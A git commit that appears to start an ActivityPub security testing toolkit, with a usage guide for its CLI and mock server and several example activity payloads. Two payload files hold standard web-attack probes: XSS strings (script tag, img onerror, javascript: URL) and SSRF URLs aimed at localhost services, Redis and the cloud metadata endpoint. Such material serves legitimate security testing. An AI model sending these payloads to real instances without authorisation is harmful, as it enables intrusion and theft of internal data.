initial commit

Signed-off-by: ale <ale@manalejandro.com>

examples/USAGE.md

@@ -0,0 +1,309 @@
+# ActivityPub Security PoC - Usage Examples
+
+## Quick Start
+
+### 1. Install Dependencies
+
+```bash
+cd activitypub-security-poc
+npm install
+```
+
+### 2. Start the Mock Server
+
+In one terminal:
+
+```bash
+node src/cli.js mock-server --port 3000
+```
+
+Or using npm script:
+
+```bash
+npm run mock-server
+```
+
+The mock server will start at `http://localhost:3000` with two test users: `alice` and `bob`.
+
+### 3. Test the Mock Server
+
+In another terminal, try fetching an actor profile:
+
+```bash
+node src/cli.js fetch-actor --target http://localhost:3000/users/alice
+```
+
+## Command Reference
+
+### Fetch Actor Profile
+
+```bash
+node src/cli.js fetch-actor --target https://mastodon.social/@username
+```
+
+### Test Outbox Endpoint
+
+```bash
+node src/cli.js test-outbox --target http://localhost:3000/users/alice/outbox
+```
+
+### Send Activity to Inbox
+
+Using a predefined payload:
+
+```bash
+node src/cli.js test-inbox \
+  --target http://localhost:3000/users/alice/inbox \
+  --payload examples/create-note.json
+```
+
+Using inline content:
+
+```bash
+node src/cli.js test-inbox \
+  --target http://localhost:3000/users/alice/inbox \
+  --content "Hello from security PoC!" \
+  --actor https://example.com/users/tester
+```
+
+### Run Security Scans
+
+Run all security tests:
+
+```bash
+node src/cli.js security-scan \
+  --target http://localhost:3000/users/alice/inbox \
+  --actor http://localhost:3000/users/alice
+```
+
+Run specific tests:
+
+```bash
+node src/cli.js security-scan \
+  --target http://localhost:3000/users/alice/inbox \
+  --tests xss,ssrf
+```
+
+Save results to file:
+
+```bash
+node src/cli.js security-scan \
+  --target http://localhost:3000/users/alice/inbox \
+  --output results.json
+```
+
+### Craft Custom Activities
+
+Create a simple note:
+
+```bash
+node src/cli.js craft \
+  --type Create \
+  --object Note \
+  --content "Custom activity message" \
+  --actor https://example.com/users/tester \
+  --to https://www.w3.org/ns/activitystreams#Public
+```
+
+Save to file:
+
+```bash
+node src/cli.js craft \
+  --type Follow \
+  --object https://target.example/users/alice \
+  --actor https://example.com/users/tester \
+  --output examples/my-follow.json
+```
+
+## Testing Against Real Instances
+
+⚠️ **Warning**: Always obtain permission before testing third-party systems!
+
+### Testing Mastodon
+
+```bash
+# Fetch actor
+node src/cli.js fetch-actor --target https://mastodon.social/@Gargron
+
+# Fetch outbox
+node src/cli.js test-outbox --target https://mastodon.social/@Gargron/outbox
+```
+
+### Testing Your Own Instance
+
+If you're running your own Mastodon instance:
+
+```bash
+# Security scan on your instance
+node src/cli.js security-scan \
+  --target https://your-instance.example/users/yourusername/inbox \
+  --tests xss,injection \
+  --output my-instance-scan.json
+```
+
+## Security Test Scenarios
+
+### 1. XSS Testing
+
+Test for Cross-Site Scripting vulnerabilities:
+
+```bash
+node src/cli.js test-inbox \
+  --target http://localhost:3000/users/alice/inbox \
+  --payload examples/xss-payload.json
+```
+
+The mock server will detect and log XSS patterns.
+
+### 2. SSRF Testing
+
+Test for Server-Side Request Forgery:
+
+```bash
+node src/cli.js test-inbox \
+  --target http://localhost:3000/users/alice/inbox \
+  --payload examples/ssrf-payload.json
+```
+
+### 3. Full Security Audit
+
+Run comprehensive tests:
+
+```bash
+node src/cli.js security-scan \
+  --target http://localhost:3000/users/alice/inbox \
+  --tests all \
+  --output full-audit-$(date +%Y%m%d).json
+```
+
+## Testing Workflow
+
+### Complete Testing Session
+
+1. **Start mock server**:
+   ```bash
+   npm run mock-server
+   ```
+
+2. **Test basic connectivity**:
+   ```bash
+   node src/cli.js fetch-actor --target http://localhost:3000/users/alice
+   ```
+
+3. **Send test activity**:
+   ```bash
+   node src/cli.js test-inbox \
+     --target http://localhost:3000/users/alice/inbox \
+     --content "Testing basic delivery"
+   ```
+
+4. **Run security tests**:
+   ```bash
+   node src/cli.js security-scan \
+     --target http://localhost:3000/users/alice/inbox
+   ```
+
+5. **Review mock server logs** for detected issues
+
+## Advanced Usage
+
+### Custom Security Tests
+
+You can create custom payloads by editing the JSON files in `examples/` or creating new ones:
+
+```json
+{
+  "@context": "https://www.w3.org/ns/activitystreams",
+  "type": "Create",
+  "actor": "https://example.com/users/tester",
+  "object": {
+    "type": "Note",
+    "content": "Your custom test content"
+  }
+}
+```
+
+Then test it:
+
+```bash
+node src/cli.js test-inbox \
+  --target http://localhost:3000/users/alice/inbox \
+  --payload your-custom-payload.json
+```
+
+### Testing Different Activity Types
+
+```bash
+# Follow activity
+node src/cli.js craft --type Follow --object https://target.example/users/alice | \
+  node src/cli.js test-inbox --target http://localhost:3000/users/bob/inbox --payload -
+
+# Update activity
+node src/cli.js craft --type Update --content "Updated content"
+
+# Delete activity
+node src/cli.js craft --type Delete --object https://example.com/notes/123
+```
+
+## Interpreting Results
+
+### Mock Server Output
+
+The mock server will display:
+- 📥 Received activities
+- ⚠️ Validation warnings
+- 🚨 Security issues detected
+
+### Security Scan Output
+
+- ✅ SAFE - The endpoint properly handled the test
+- ❌ VULNERABLE - Potential security issue detected
+
+### Result JSON Structure
+
+```json
+{
+  "target": "http://localhost:3000/users/alice/inbox",
+  "timestamp": "2025-11-16T...",
+  "tests": {
+    "xss": [...],
+    "ssrf": [...],
+    "injection": [...]
+  }
+}
+```
+
+## Best Practices
+
+1. **Always test on your own infrastructure first**
+2. **Get explicit permission before testing external systems**
+3. **Review logs on both client and server side**
+4. **Document your findings**
+5. **Report vulnerabilities responsibly**
+
+## Troubleshooting
+
+### Connection Refused
+
+- Ensure the target server is running
+- Check firewall rules
+- Verify the URL is correct
+
+### 401/403 Errors
+
+- The endpoint requires authentication
+- HTTP signatures may be required
+- Check if the endpoint accepts external activities
+
+### Timeout Errors
+
+- Server may be slow or unreachable
+- Increase timeout with client configuration
+- Check network connectivity
+
+## Next Steps
+
+- Review the source code in `src/` to understand how tests work
+- Modify `security-tester.js` to add custom tests
+- Extend `mock-server.js` with more realistic behavior
+- Integrate with your CI/CD pipeline for automated testing

examples/create-note.json

@@ -0,0 +1,16 @@
+{
+  "@context": "https://www.w3.org/ns/activitystreams",
+  "type": "Create",
+  "id": "https://example.com/activities/test-create-1",
+  "actor": "https://example.com/users/tester",
+  "object": {
+    "type": "Note",
+    "id": "https://example.com/notes/test-note-1",
+    "content": "This is a test note from the ActivityPub security PoC toolkit.",
+    "published": "2025-11-16T00:00:00Z",
+    "attributedTo": "https://example.com/users/tester",
+    "to": ["https://www.w3.org/ns/activitystreams#Public"]
+  },
+  "published": "2025-11-16T00:00:00Z",
+  "to": ["https://www.w3.org/ns/activitystreams#Public"]
+}

examples/follow.json

@@ -0,0 +1,8 @@
+{
+  "@context": "https://www.w3.org/ns/activitystreams",
+  "type": "Follow",
+  "id": "https://example.com/activities/follow-1",
+  "actor": "https://example.com/users/tester",
+  "object": "https://target-instance.example/users/alice",
+  "published": "2025-11-16T00:00:00Z"
+}

examples/ssrf-payload.json

@@ -0,0 +1,19 @@
+{
+  "@context": "https://www.w3.org/ns/activitystreams",
+  "type": "Create",
+  "id": "https://example.com/activities/ssrf-test",
+  "actor": "https://example.com/users/tester",
+  "object": {
+    "type": "Note",
+    "id": "http://localhost:8080/admin",
+    "url": "http://127.0.0.1:6379",
+    "content": "SSRF test payload",
+    "image": {
+      "type": "Image",
+      "url": "http://169.254.169.254/latest/meta-data/"
+    },
+    "published": "2025-11-16T00:00:00Z",
+    "attributedTo": "https://example.com/users/tester"
+  },
+  "published": "2025-11-16T00:00:00Z"
+}

examples/xss-payload.json

@@ -0,0 +1,16 @@
+{
+  "@context": "https://www.w3.org/ns/activitystreams",
+  "type": "Create",
+  "id": "https://example.com/activities/xss-test",
+  "actor": "https://example.com/users/tester",
+  "object": {
+    "type": "Note",
+    "id": "https://example.com/notes/xss-test",
+    "content": "<script>alert('XSS Test')</script>",
+    "name": "<img src=x onerror=alert('XSS')>",
+    "summary": "javascript:alert('XSS')",
+    "published": "2025-11-16T00:00:00Z",
+    "attributedTo": "https://example.com/users/tester"
+  },
+  "published": "2025-11-16T00:00:00Z"
+}